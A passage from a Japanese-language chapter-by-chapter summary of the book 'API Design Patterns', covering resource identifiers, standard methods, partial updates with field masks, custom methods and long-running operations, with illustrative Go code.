id)}このような実装は、安全で効率的な識別子生成を可能にし、システムの信頼性と拡張性を向上させます。識別子の階層と一意性のスコープ著者は、識別子の階層構造と一意性のスコープについても詳細に論じています。これは、リソース間の関係性をどのように表現するかという重要な問題に関わっています。著者は、階層的な識別子(例:books/1234/pages/5678)の使用を、真の「所有権」関係がある場合に限定することを推奨しています。これは、リソースの移動や関係の変更が頻繁に起こる可能性がある場合、識別子の永続性を維持することが困難になるためです。この考え方は、マイクロサービスアーキテクチャにおいて特に重要です。サービス間の境界を明確に定義し、不必要な依存関係を避けるためには、識別子の設計が重要な役割を果たします。例えば、書籍と著者の関係を考えると、authors/1234/books/5678よりもbooks/5678(著者情報は書籍のプロパティとして保持)の方が、サービス間の結合度を低く保つことができます。UUIDとの比較著者は、提案する識別子形式とUUIDを比較しています。UUIDの利点(広く採用されている、衝突の可能性が極めて低いなど)を認めつつ、以下の点で著者の提案する形式が優れていると主張しています。より短く、人間が読みやすい情報密度が高い(Base32 vs Base16)チェックサム機能が組み込まれているこの比較は重要で、システムの要件に応じて適切な識別子形式を選択する必要性を示しています。例えば、高度に分散化されたシステムではUUIDの使用が適している一方、人間の介入が頻繁に必要なシステムでは著者の提案する形式が有用かもしれません。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: 適切な識別子の設計は、システムのスケーラビリティと性能に直接影響します。例えば、128ビットの識別子を使用することで、将来的な成長に対応しつつ、効率的なインデックスの作成が可能になります。セキュリティ: 予測不可能な識別子の使用は、リソースの推測や不正アクセスを防ぐ上で重要です。これは、特に公開APIにおいて重要な考慮事項です。運用性: 人間が読みやすく、検証可能な識別子は、デバッグやトラブルシューティングを容易にします。これは、大規模なシステムの運用において非常に有用です。バージョニングとの関係: 識別子の設計は、APIのバージョニング戦略と密接に関連しています。永続的で一意な識別子は、異なるバージョン間でのリソースの一貫性を維持するのに役立ちます。データベース設計: 識別子の形式と保存方法の選択は、データベースの性能と拡張性に大きな影響を与えます。著者の提案する形式は、多くのデータベースシステムで効率的に扱うことができます。結論第6章「Resource identification」は、APIにおけるリソース識別子の重要性と、その適切な設計の必要性を明確に示しています。著者の提案する識別子形式は、使いやすさ、安全性、効率性のバランスが取れており、多くのユースケースで有用です。特に重要な点は以下の通りです。識別子は単なる技術的詳細ではなく、APIの使いやすさと信頼性に直接影響を与える重要な設計上の決定である。良い識別子は、一意性、永続性、予測不可能性、読みやすさなど、複数の重要な特性を兼ね備えている必要がある。Crockford\'s Base32エンコーディングの使用は、多くの利点をもたらす。識別子の階層構造は慎重に設計する必要があり、真の「所有権」関係がある場合にのみ使用すべきである。UUIDは広く採用されているが、特定のユースケースでは著者の提案する形式の方が適している場合がある。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、リソース識別子の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な識別子の設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切な識別子の設計は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。7 Standard methods「API Design Patterns」の第7章「Standard methods」は、APIにおける標準メソッドの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は標準メソッドが単なる慣習ではなく、APIの一貫性、予測可能性、そして使いやすさを大きく向上させる重要な設計上の決定であることを明確に示しています。標準メソッドの重要性と概要著者は、標準メソッドの重要性から議論を始めています。APIの予測可能性を高めるために、リソースごとに異なる操作を定義するのではなく、一貫した標準メソッドのセットを定義することの利点を強調しています。具体的には、以下の標準メソッドが紹介されています。Get:既存のリソースを取得List:リソースのコレクションをリスト化Create:新しいリソースを作成Update:既存のリソースを更新Delete:既存のリソースを削除Replace:リソース全体を置き換えHTTP には他にもいくつかのメソッドが用意されているWikipedia より引用en.wikipedia.orgこれらの標準メソッドは、RESTful APIの設計原則に基づいており、多くの開発者にとって馴染みのある概念です。しかし、著者はこれらのメソッドの実装に関する詳細な指針を提供することで、単なる慣習を超えた、一貫性のある強力なAPIデザインパターンを提示しています。この標準化されたアプローチは、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、各サービスのインターフェースが一貫していることが、システム全体の理解と保守を容易にします。例えば、全てのサービスで同じ標準メソッドを使用することで、開発者はサービス間の相互作用をより直感的に理解し、新しいサービスの統合や既存のサービスの修正をスムーズに行うことができます。実装の詳細とベストプラクティス著者は、各標準メソッドの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。べき等性とサイドエフェクト: 著者は、標準メソッドのべき等性(同じリクエストを複数回実行しても結果が変わらない性質)とサイドエフェクトの重要性を強調しています。特に、Getやリストのような読み取り専用のメソッドは、完全にべき等であるべきで、システムの状態を変更するサイドエフェクトを持つべきではありません。これは、システムの予測可能性と信頼性を高める上で重要です。一貫性: 著者は、特にCreate操作において強い一貫性を維持することの重要性を指摘しています。リソースが作成されたら、即座に他の標準メソッド(Get、List、Update、Delete)を通じてアクセス可能であるべきです。これは、分散システムにおける課題ですが、APIの信頼性と使いやすさにとって極めて重要です。部分更新 vs 全体置換: UpdateメソッドとReplaceメソッドの違いについて詳細に説明しています。Updateは部分的な更新(HTTP PATCHを使用)を行い、Replaceは全体の置換(HTTP PUTを使用)を行います。この区別は、APIの柔軟性と使いやすさを向上させる上で重要です。べき等性と削除操作: 著者は、Delete操作がべき等であるべきか否かについて興味深い議論を展開しています。最終的に、Deleteはべき等でない方が良いと結論付けていますが、これはAPIの設計者にとって重要な考慮点です。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなインターフェースが考えられます。type ResourceService interface { Get(ctx context.Context, id string) (*Resource, error) List(ctx context.Context, filter string) ([]*Resource, error) Create(ctx context.Context, resource *Resource) (*Resource, error) Update(ctx context.Context, id string, updates map[string]interface{}) (*Resource, error) Replace(ctx context.Context, id string, resource *Resource) (*Resource, error) Delete(ctx context.Context, id string) error}このようなインターフェースは、標準メソッドの一貫した実装を促進し、APIの使いやすさと保守性を向上させます。標準メソッドの適用と課題著者は、標準メソッドの適用に関する重要な考慮点も提示しています。メソッドの選択: 全てのリソースが全ての標準メソッドをサポートする必要はありません。リソースの性質に応じて、適切なメソッドのみを実装すべきです。アクセス制御: 特にListメソッドにおいて、異なるユーザーが異なるアクセス権を持つ場合の挙動について詳細に説明しています。これは、セキュリティと使いやすさのバランスを取る上で重要な考慮点です。結果のカウントとソート: 著者は、Listメソッドでのカウントやソートのサポートを避けることを推奨しています。これは、大規模なデータセットでのパフォーマンスとスケーラビリティの問題を防ぐための重要な指針です。フィルタリング: Listメソッドにおけるフィルタリングの重要性と、その実装方法について説明しています。著者は、固定のフィルタリング構造ではなく、柔軟な文字列ベースのフィルタリングを推奨しています。これらの考慮点は、特に大規模なシステムやマイクロサービスアーキテクチャにおいて重要です。例えば、Listメソッドでのカウントやソートの制限は、システムの水平スケーリング能力を維持する上で重要です。同様に、柔軟なフィルタリングの実装は、APIの長期的な進化と拡張性を確保します。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。一貫性と予測可能性: 標準メソッドを一貫して適用することで、APIの学習曲線が緩やかになり、開発者の生産性が向上します。これは、特に大規模なシステムや多くのマイクロサービスを持つ環境で重要です。パフォーマンスとスケーラビリティ: 著者の推奨事項(例:Listメソッドでのカウントやソートの制限)は、システムのパフォーマンスとスケーラビリティを維持する上で重要です。これらの原則を適用することで、システムの成長に伴う課題を予防できます。バージョニングとの関係: 標準メソッドの一貫した実装は、APIのバージョニング戦略とも密接に関連します。新しいバージョンを導入する際も、これらの標準メソッドの挙動を維持することで、後方互換性を確保しやすくなります。セキュリティの考慮: 標準メソッドの実装において、適切なアクセス制御やエラーハンドリングを行うことは、APIのセキュリティを確保する上で重要です。運用性: 標準メソッドの一貫した実装は、監視、ログ記録、デバッグなどの運用タスクを簡素化します。これにより、問題の迅速な特定と解決が可能になります。結論第7章「Standard methods」は、APIにおける標準メソッドの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの一貫性、予測可能性、使いやすさを大きく向上させる可能性があります。特に重要な点は以下の通りです。標準メソッド(Get、List、Create、Update、Delete、Replace)の一貫した実装は、APIの学習性と使いやすさを大幅に向上させます。べき等性とサイドエフェクトの考慮は、APIの信頼性と予測可能性を確保する上で重要です。強い一貫性の維持、特にCreate操作後の即時アクセス可能性は、APIの信頼性を高めます。標準メソッドの適切な選択と実装は、システムのパフォーマンス、スケーラビリティ、セキュリティに直接影響します。標準メソッドの一貫した実装は、システムの運用性と長期的な保守性を向上させます。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、標準メソッドの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な標準メソッドの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。標準メソッドの適切な実装は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。8 Partial updates and retrievals「API Design Patterns」の第8章「Partial updates and retrievals」は、APIにおける部分的な更新と取得の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は部分的な更新と取得が単なる機能の追加ではなく、APIの柔軟性、効率性、そして長期的な使いやすさに直接影響を与える重要な設計上の決定であることを明確に示しています。部分的な更新と取得の動機著者は、部分的な更新と取得の必要性から議論を始めています。特に、大規模なリソースや制限のあるクライアント環境での重要性を強調しています。例えば、IoTデバイスのような制限された環境では、必要最小限のデータのみを取得することが重要です。また、大規模なリソースの一部のみを更新する必要がある場合、全体を置き換えるのではなく、特定のフィールドのみを更新する能力が重要になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが必要とするデータのみを効率的に取得し、更新することが、システム全体のパフォーマンスとスケーラビリティを向上させます。著者は、部分的な更新と取得を実現するためのツールとしてフィールドマスクの概念を導入しています。フィールドマスクは、クライアントが関心のあるフィールドを指定するための単純かつ強力なメカニズムです。これにより、APIは必要なデータのみを返すか、指定されたフィールドのみを更新することができます。フィールドマスクの実装著者は、フィールドマスクの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。トランスポート: フィールドマスクをどのようにAPIリクエストに含めるかについて議論しています。著者は、クエリパラメータを使用することを推奨しています。これは、HTTPヘッダーよりもアクセスしやすく、操作しやすいためです。ネストされたフィールドとマップの扱い: 著者は、ドット表記を使用してネストされたフィールドやマップのキーを指定する方法を説明しています。これにより、複雑なデータ構造でも柔軟に部分的な更新や取得が可能になります。繰り返しフィールドの扱い: 配列やリストのような繰り返しフィールドに対する操作の制限について議論しています。著者は、インデックスベースの操作を避け、代わりにフィールド全体の置き換えを推奨しています。デフォルト値: 部分的な取得と更新におけるデフォルト値の扱いについて説明しています。特に、更新操作での暗黙的なフィールドマスクの使用を推奨しています。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなコードが考えられます。type FieldMask []stringtype UpdateUserRequest struct { User *User FieldMask FieldMask `json:\\"fieldMask,omitempty\\"`}func UpdateUser(ctx context.Context, req *UpdateUserRequest) (*User, error) { existingUser, err := getUserFromDatabase(req.User.ID) if err != nil { return nil, err } if req.FieldMask == nil { // 暗黙的なフィールドマスクを使用 req.FieldMask = inferFieldMask(req.User) } for _, field := range req.FieldMask { switch field { case \\"name\\": existingUser.Name = req.User.Name case \\"email\\": existingUser.Email = req.User.Email // ... その他のフィールド } } return saveUserToDatabase(existingUser)}func inferFieldMask(user *User) FieldMask { var mask FieldMask if user.Name != \\"\\" { mask = append(mask, \\"name\\") } if user.Email != \\"\\" { mask = append(mask, \\"email\\") } // ... その他のフィールド return mask}このコードでは、フィールドマスクを明示的に指定しない場合、提供されたデータから暗黙的にフィールドマスクを推論しています。これにより、クライアントは必要なフィールドのみを更新でき、不要なデータの送信を避けることができます。部分的な更新と取得の課題著者は、部分的な更新と取得の実装に関する重要な課題についても議論しています。一貫性: 部分的な更新を行う際、リソース全体の一貫性を維持することが重要です。特に、相互に依存するフィールドがある場合、この点に注意が必要です。パフォーマンス: フィールドマスクの解析と適用には計算コストがかかります。大規模なシステムでは、このオーバーヘッドを考慮する必要があります。バージョニング: APIの進化に伴い、新しいフィールドが追加されたり、既存のフィールドが変更されたりする可能性があります。フィールドマスクの設計は、このような変更に対応できる柔軟性を持つ必要があります。セキュリティ: フィールドマスクを通じて、クライアントがアクセスを許可されていないフィールドを更新または取得しようとする可能性があります。適切なアクセス制御が必要です。これらの課題は、特に大規模なシステムや長期的に維持されるAPIにおいて重要です。例えば、マイクロサービスアーキテクチャでは、各サービスが扱うデータの一部のみを更新する必要がある場合がしばしばあります。この時、部分的な更新機能は非常に有用ですが、同時にサービス間のデータ整合性を維持することが重要になります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。効率性とパフォーマンス: 部分的な更新と取得を適切に実装することで、ネットワーク帯域幅の使用を最適化し、システム全体のパフォーマンスを向上させることができます。これは特に、モバイルアプリケーションや帯域幅が制限されている環境で重要です。柔軟性と拡張性: フィールドマスクを使用することで、APIの柔軟性が大幅に向上します。クライアントは必要なデータのみを要求でき、新しいフィールドの追加も既存のクライアントに影響を与えずに行えます。バージョニングとの関係: 部分的な更新と取得は、APIのバージョニング戦略と密接に関連しています。新しいバージョンを導入する際も、フィールドマスクを通じて後方互換性を維持しやすくなります。運用性と可観測性: 部分的な更新と取得を適切に実装することで、システムの運用性が向上します。例えば、特定のフィールドの更新頻度や、どのフィールドが最も頻繁に要求されるかを監視することで、システムの使用パターンをより深く理解し、最適化の機会を見出すことができます。エラーハンドリング: 無効なフィールドマスクや、存在しないフィールドへのアクセス試行をどのように処理するかは重要な設計上の決定です。適切なエラーメッセージと状態コードを返すことで、APIの使いやすさと信頼性を向上させることができます。フィールドマスクの高度な使用法著者は、フィールドマスクのより高度な使用法についても言及しています。特に注目すべきは、ネストされた構造やマップ型のフィールドへの対応です。例えば、次のような複雑な構造を持つリソースを考えてみましょう:type User struct { ID string Name string Address Address Settings map[string]interface{}}type Address struct { Street string City string Country string}このような構造に対して、著者は以下のようなフィールドマスクの表記を提案しています。name: ユーザーの名前を更新または取得address.city: ユーザーの住所の都市のみを更新または取得settings.theme: 設定マップ内のテーマ設定のみを更新または取得この表記法により、非常に細かい粒度で更新や取得を行うことが可能になります。これは特に、大規模で複雑なリソースを扱う場合に有用です。しかし、このような複雑なフィールドマスクの実装には課題もあります。特に、セキュリティとパフォーマンスの観点から注意が必要です。例えば、深くネストされたフィールドへのアクセスを許可することで、予期せぬセキュリティホールが生まれる可能性があります。また、非常に複雑なフィールドマスクの解析と適用は、システムに大きな負荷をかける可能性があります。これらの課題に対処するため、著者は以下のような推奨事項を提示しています。フィールドマスクの深さに制限を設ける特定のパターンのみを許可するホワイトリストを実装するフィールドマスクの複雑さに応じて、リクエストのレート制限を調整するこれらの推奨事項は、システムの安全性と性能を確保しつつ、APIの柔軟性を維持するのに役立ちます。部分的な更新と取得の影響部分的な更新と取得の実装は、システム全体に広範な影響を与えます。特に以下の点が重要です。データベース設計: 部分的な更新をサポートするためには、データベースの設計も考慮する必要があります。例えば、ドキュメント指向のデータベースは、部分的な更新に適している場合があります。キャッシング戦略: 部分的な取得をサポートする場合、キャッシング戦略も再考する必要があります。フィールドごとに異なるキャッシュ期間を設定したり、部分的な更新があった場合にキャッシュを適切に無効化する仕組みが必要になります。監視とロギング: 部分的な更新と取得をサポートすることで、システムの監視とロギングの複雑さが増します。どのフィールドが更新されたか、どのフィールドが要求されたかを追跡し、適切にログを取ることが重要になります。ドキュメンテーション: フィールドマスクの使用方法や、各フィールドの意味、相互依存関係などを明確にドキュメント化する必要があります。これにより、API利用者が部分的な更新と取得を適切に使用できるようになります。テスト戦略: 部分的な更新と取得をサポートすることで、テストケースの数が大幅に増加します。全ての有効なフィールドの組み合わせをテストし、不正なフィールドマスクに対する適切なエラーハンドリングを確認する必要があります。クライアントライブラリ: APIクライアントライブラリを提供している場合、フィールドマスクを適切に扱えるように更新する必要があります。これにより、API利用者がより簡単に部分的な更新と取得を利用できるようになります。パフォーマンスチューニング: 部分的な更新と取得は、システムのパフォーマンスに大きな影響を与える可能性があります。フィールドマスクの解析や適用のパフォーマンスを最適化し、必要に応じてインデックスを追加するなどの対策が必要になる場合があります。セキュリティ対策: フィールドマスクを通じて、機密情報へのアクセスが可能になる可能性があります。適切なアクセス制御と認可チェックを実装し、セキュリティ監査を行うことが重要です。バージョニング戦略: 新しいフィールドの追加や既存フィールドの変更を行う際、フィールドマスクとの互換性を維持する必要があります。これは、APIのバージョニング戦略に大きな影響を与える可能性があります。開発者教育: 開発チーム全体が部分的な更新と取得の概念を理解し、適切に実装できるようにするための教育が必要になります。これには、ベストプラクティスの共有やコードレビューのプロセスの更新が含まれる可能性があります。これらの影響を適切に管理することで、部分的な更新と取得の実装による利点を最大限に活かしつつ、潜在的な問題を最小限に抑えることができます。システム全体のアーキテクチャ、開発プロセス、運用プラクティスを包括的に見直し、必要に応じて調整を行うことが重要です。最終的に、部分的な更新と取得の実装は、APIの使いやすさと効率性を大幅に向上させる可能性がありますが、同時にシステムの複雑性も増加させます。したがって、その導入を決定する際は、利点とコストを慎重に検討し、システムの要件と制約に基づいて適切な判断を下す必要があります。長期的な保守性、スケーラビリティ、そして全体的なシステムのパフォーマンスを考慮に入れた上で、部分的な更新と取得の実装範囲と方法を決定することが賢明です。結論第8章「Partial updates and retrievals」は、APIにおける部分的な更新と取得の重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの効率性、柔軟性、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。部分的な更新と取得は、大規模なリソースや制限のあるクライアント環境で特に重要です。フィールドマスクは、部分的な更新と取得を実現するための強力なツールです。適切な実装は、ネットワーク帯域幅の使用を最適化し、システム全体のパフォーマンスを向上させます。フィールドマスクの使用は、APIの柔軟性と拡張性を大幅に向上させます。部分的な更新と取得の実装には、一貫性、パフォーマンス、バージョニング、セキュリティなどの課題があり、これらを適切に考慮する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、部分的な更新と取得の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の効率性、スケーラビリティ、そして運用性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。部分的な更新と取得の適切な実装は、将来的な拡張性を確保し、予期せぬパフォーマンス問題や互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より効率的で柔軟性の高いシステムを構築することができるでしょう。9 Custom methods「API Design Patterns」の第9章「Custom methods」は、APIにおけるカスタムメソッドの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者はカスタムメソッドが単なる追加機能ではなく、APIの柔軟性、表現力、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。カスタムメソッドの必要性と動機著者は、標準メソッドだけでは対応できないシナリオが存在することから議論を始めています。例えば、電子メールの送信やテキストの翻訳のような特定のアクションをAPIでどのように表現するべきかという問題を提起しています。これらのアクションは、標準的なCRUD操作(Create, Read, Update, Delete)には簡単に当てはまらず、かつ重要な副作用を伴う可能性があります。この問題は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、各サービスが提供する機能が複雑化し、標準的なRESTful操作だけではカバーしきれないケースが増えています。例えば、ある特定の条件下でのみ実行可能な操作や、複数のリソースに跨がる操作などが該当します。著者は、このような状況に対処するためのソリューションとしてカスタムメソッドを提案しています。カスタムメソッドは、標準メソッドの制約を超えて、APIに特化した操作を実現する手段となります。カスタムメソッドの実装カスタムメソッドの実装に関して、著者はいくつかの重要なポイントを強調しています。HTTP メソッドの選択: カスタムメソッドはほとんどの場合、POSTメソッドを使用します。これは、POSTがリソースの状態を変更する操作に適しているためです。URL構造: カスタムメソッドのURLは、標準的なリソースパスの後にコロン(:)を使用して、カスタムアクションを示します。例えば、POST /rockets/1234:launchのような形式です。命名規則: カスタムメソッドの名前は、標準メソッドと同様に動詞+名詞の形式を取るべきです。例えば、LaunchRocketやSendEmailなどです。これらの規則は、APIの一貫性と予測可能性を維持する上で重要です。特に、大規模なシステムや長期的に運用されるAPIにおいて、この一貫性は開発者の生産性と学習曲線に大きな影響を与えます。著者が提示する実装例を、Golangを用いて具体化すると以下のようになります。type RocketAPI interface { LaunchRocket(ctx context.Context, req *LaunchRocketRequest) (*Rocket, error)}type LaunchRocketRequest struct { ID string `json:\\"id\\"`}func (s *rocketService) LaunchRocket(ctx context.Context, req *LaunchRocketRequest) (*Rocket, error) { // カスタムロジックの実装 // 例: ロケットの状態チェック、打ち上げシーケンスの開始など}このような実装により、標準的なCRUD操作では表現しきれない複雑なビジネスロジックを、明確で直感的なAPIインターフェースとして提供することが可能になります。副作用の取り扱いカスタムメソッドの重要な特徴の一つとして、著者は副作用の許容を挙げています。標準メソッドが基本的にリソースの状態変更のみを行うのに対し、カスタムメソッドはより広範な操作を行うことができます。例えば、メールの送信、バックグラウンドジョブの開始、複数リソースの更新などです。この特性は、システムの設計と運用に大きな影響を与えます。副作用を伴う操作は、システムの一貫性や信頼性に影響を与える可能性があるため、慎重に設計する必要があります。例えば、トランザクション管理、エラーハンドリング、リトライメカニズムなどを考慮する必要があります。著者が提示する電子メール送信の例は、この点を明確に示しています。メールの送信操作は、データベースの更新だけでなく、外部のSMTPサーバーとの通信も含みます。このような複合的な操作をカスタムメソッドとして実装することで、操作の意図を明確に表現し、同時に必要な副作用を適切に管理することができます。リソースvs.コレクション著者は、カスタムメソッドを個々のリソースに適用するか、リソースのコレクションに適用するかという選択についても論じています。この選択は、操作の性質と影響範囲に基づいて行われるべきです。例えば、単一のメールを送信する操作は個々のリソースに対するカスタムメソッドとして実装される一方で、複数のメールをエクスポートする操作はコレクションに対するカスタムメソッドとして実装されるべきです。この区別は、APIの論理的構造と使いやすさに直接影響します。適切に設計されたカスタムメソッドは、複雑な操作を直感的なインターフェースで提供し、クライアント側の実装を簡素化します。ステートレスカスタムメソッド著者は、ステートレスなカスタムメソッドについても言及しています。これらは、永続的な状態変更を伴わず、主に計算や検証を行うメソッドです。例えば、テキスト翻訳やメールアドレスの検証などが該当します。ステートレスメソッドは、特にデータプライバシーやセキュリティの要件が厳しい環境で有用です。例えば、GDPR(一般データ保護規則)のようなデータ保護規制に対応する必要がある場合、データを永続化せずに処理できるステートレスメソッドは有効なソリューションとなります。しかし、著者は完全にステートレスなアプローチの限界についても警告しています。多くの場合、将来的にはある程度の状態管理が必要になる可能性があるため、完全にステートレスな設計に固執することは避けるべきだと指摘しています。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。柔軟性と表現力: カスタムメソッドを適切に使用することで、APIの柔軟性と表現力が大幅に向上します。複雑なビジネスロジックや特殊なユースケースを、直感的で使いやすいインターフェースとして提供することが可能になります。マイクロサービスアーキテクチャとの親和性: カスタムメソッドは、マイクロサービスアーキテクチャにおいて特に有用です。各サービスが提供する特殊な機能や、サービス間の複雑な相互作用を表現するのに適しています。運用性と可観測性: カスタムメソッドの導入は、システムの運用性と可観測性に影響を与えます。副作用を伴う操作や、複雑な処理フローを含むカスタムメソッドは、適切なログ記録、モニタリング、トレーシングの実装が不可欠です。バージョニングと後方互換性: カスタムメソッドの追加や変更は、APIのバージョニング戦略に影響を与えます。新しいカスタムメソッドの導入や既存メソッドの変更を行う際は、後方互換性の維持に注意を払う必要があります。セキュリティの考慮: カスタムメソッド、特に副作用を伴うものは、適切なアクセス制御と認可チェックが必要です。また、ステートレスメソッドを使用する場合でも、入力データの検証やサニタイズは不可欠です。パフォーマンスとスケーラビリティ: カスタムメソッドの実装は、システムのパフォーマンスとスケーラビリティに影響を与える可能性があります。特に、複雑な処理や外部サービスとの連携を含むメソッドは、適切なパフォーマンスチューニングとスケーリング戦略が必要になります。結論第9章「Custom methods」は、APIにおけるカスタムメソッドの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの柔軟性、表現力、そして長期的な保守性を大きく向上させる可能性があります。特に重要な点は以下の通りです。カスタムメソッドは、標準メソッドでは適切に表現できない複雑な操作や特殊なユースケースに対応するための強力なツールです。カスタムメソッドの設計と実装には、一貫性のある命名規則とURL構造の使用が重要です。副作用を伴うカスタムメソッドの使用は慎重に行い、適切な管理と文書化が必要です。リソースとコレクションに対するカスタムメソッドの適用は、操作の性質に基づいて適切に選択する必要があります。ステートレスなカスタムメソッドは有用ですが、将来的な拡張性を考慮して設計する必要があります。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、カスタムメソッドの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なカスタムメソッドの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の柔軟性、保守性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。カスタムメソッドの適切な実装は、将来的な拡張性を確保し、予期せぬ要件変更や新機能の追加にも柔軟に対応できるAPIを実現します。API設計者は、これらの原則を深く理解し、実践することで、より強固で柔軟性の高いシステムを構築することができるでしょう。10 Long-running operations「API Design Patterns」の第10章「Long-running operations」は、APIにおける長時間実行操作の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は長時間実行操作(LRO)が単なる機能の追加ではなく、APIの柔軟性、スケーラビリティ、そして長期的な運用性に直接影響を与える重要な設計上の決定であることを明確に示しています。長時間実行操作の必要性と概要著者は、APIにおける長時間実行操作の必要性から議論を始めています。多くのAPI呼び出しは数百ミリ秒以内に処理されますが、データ処理や外部サービスとの連携など、時間のかかる操作も存在します。これらの操作を同期的に処理すると、クライアントの待ち時間が長くなり、リソースの無駄遣いにつながる可能性があります。長時間実行操作の概念は、プログラミング言語におけるPromiseやFutureと類似しています。APIの文脈では、これらの操作は「Long-running Operations」(LRO)と呼ばれ、非同期処理を可能にします。LROは、操作の進行状況を追跡し、最終的な結果を取得するためのメカニズムを提供します。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、一つの操作が複数のサービスにまたがって実行される可能性があり、その全体の進行状況を追跡する必要があります。著者は、LROの基本的な構造として以下の要素を提案しています。一意の識別子操作の状態(実行中、完了、エラーなど)結果または発生したエラーの情報進行状況や追加のメタデータこれらの要素を含むLROは、APIリソースとして扱われ、クライアントはこのリソースを通じて操作の状態を確認し、結果を取得することができます。LROの実装LROの実装に関して、著者はいくつかの重要なポイントを強調しています。リソースとしてのLRO: LROは通常のAPIリソースとして扱われ、一意の識別子を持ちます。これにより、クライアントは操作の状態を簡単に追跡できます。ジェネリックな設計: LROインターフェースは、さまざまな種類の操作に対応できるように、結果の型とメタデータの型をパラメータ化します。ステータス管理: 操作の状態(実行中、完了、エラーなど)を明確に表現する必要があります。エラーハンドリング: 操作が失敗した場合のエラー情報を適切に提供する必要があります。進行状況の追跡: 長時間実行操作の進行状況を追跡し、クライアントに提供するメカニズムが必要です。これらの要素を考慮したLROの基本的な構造を、Golangを用いて表現すると以下のようになります。type Operation struct { ID string `json:\\"id\\"` Done bool `json:\\"done\\"` Result interface{} `json:\\"result,omitempty\\"` Error *ErrorInfo `json:\\"error,omitempty\\"` Metadata interface{} `json:\\"metadata,omitempty\\"`}type ErrorInfo struct { Code int `json:\\"code\\"` Message string `json:\\"message\\"` Details map[string]interface{} `json:\\"details,omitempty\\"`}この構造により、APIは長時間実行操作の状態を効果的に表現し、クライアントに必要な情報を提供することができます。LROの状態管理と結果の取得著者は、LROの状態を管理し、結果を取得するための2つの主要なアプローチを提案しています。ポーリングと待機です。ポーリング: クライアントが定期的にLROの状態を確認する方法です。これは実装が簡単ですが、不必要なAPI呼び出しが発生する可能性があります。待機: クライアントがLROの完了を待つ長期接続を確立する方法です。これはリアルタイム性が高いですが、サーバー側のリソース管理が複雑になる可能性があります。これらのアプローチを実装する際、著者は以下のAPIメソッドを提案しています。GetOperation: LROの現在の状態を取得します。ListOperations: 複数のLROをリストアップします。WaitOperation: 